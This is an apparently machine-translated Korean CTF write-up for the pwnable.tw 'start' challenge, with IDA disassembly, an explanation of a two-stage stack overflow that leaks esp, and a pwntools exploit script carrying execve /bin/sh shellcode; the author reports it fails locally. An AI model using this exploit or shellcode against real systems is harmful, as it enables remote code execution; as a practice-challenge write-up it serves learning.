여름방학 훈련

3199 단어 제목.
ubuntu에 프로그램을 넣어서 32위인 걸 보고 보호도 안 했어요. 쉬울 거예요. IDA 분석 열기.
char start()
{
  char result; // al

  result = 3;
  __asm
  {
    int     80h; LINUX - sys_write
    int     80h; LINUX -
  }
  return result;
}

이게 뭐야. 어셈블리 코드를 직접 봐.
.text:08048060
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit           proc near               ; DATA XREF: _start+1↑o
.text:0804809D                 pop     esp
.text:0804809E                 xor     eax, eax
.text:080480A0                 inc     eax
.text:080480A1                 int     80h             ; LINUX - sys_exit
.text:080480A1 _exit           endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text           ends
.text:080480A1
.text:080480A1
.text:080480A1                 end _start

힌트를 보면 대충 읽을 수 있는 길이의 문자열을 읽은 다음에 int 80h에 ret가 끊기면 여기로 넘쳐나서 우리가 쓴 셸코드를 실행해야 하기 때문에 우리는 esp의 실제 주소를 얻을 방법을 생각해야 한다. 내가 생각한 것은 두 번의 넘침을 통해 getshell을 넘긴다. 첫 번째 넘침을 통해 esp의 실제 주소를 얻고 두 번째 넘침을 getshell에 내exp를 첨부하는 것이다.
from pwn import *
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
def pwn(debug):
	if(debug==1):
		p=process('./start')
		elf=ELF('./start')
	else:
		p=remote('chall.pwnable.tw',10000)
	offset=20
	ret=0x08048087
	payload='a'*offset+p32(ret)
	p.recvuntil(':')
	p.sendline(payload)
	data=p.recv()
	leak=u32(data[:4])
	print leak
	payload2='a'*offset+p32(leak+offset)+'aaaa'*4+shellcode
	p.sendline(payload2)
	p.interactive()

if __name__=='__main__':
	pwn(1)

이거 괜찮을 것 같은데 제가 getshell을 로컬에서 디버깅을 했는데 갑자기 안 돼요. 큰 놈들이 알면 알려주셔도 돼요.

좋은 웹페이지 즐겨찾기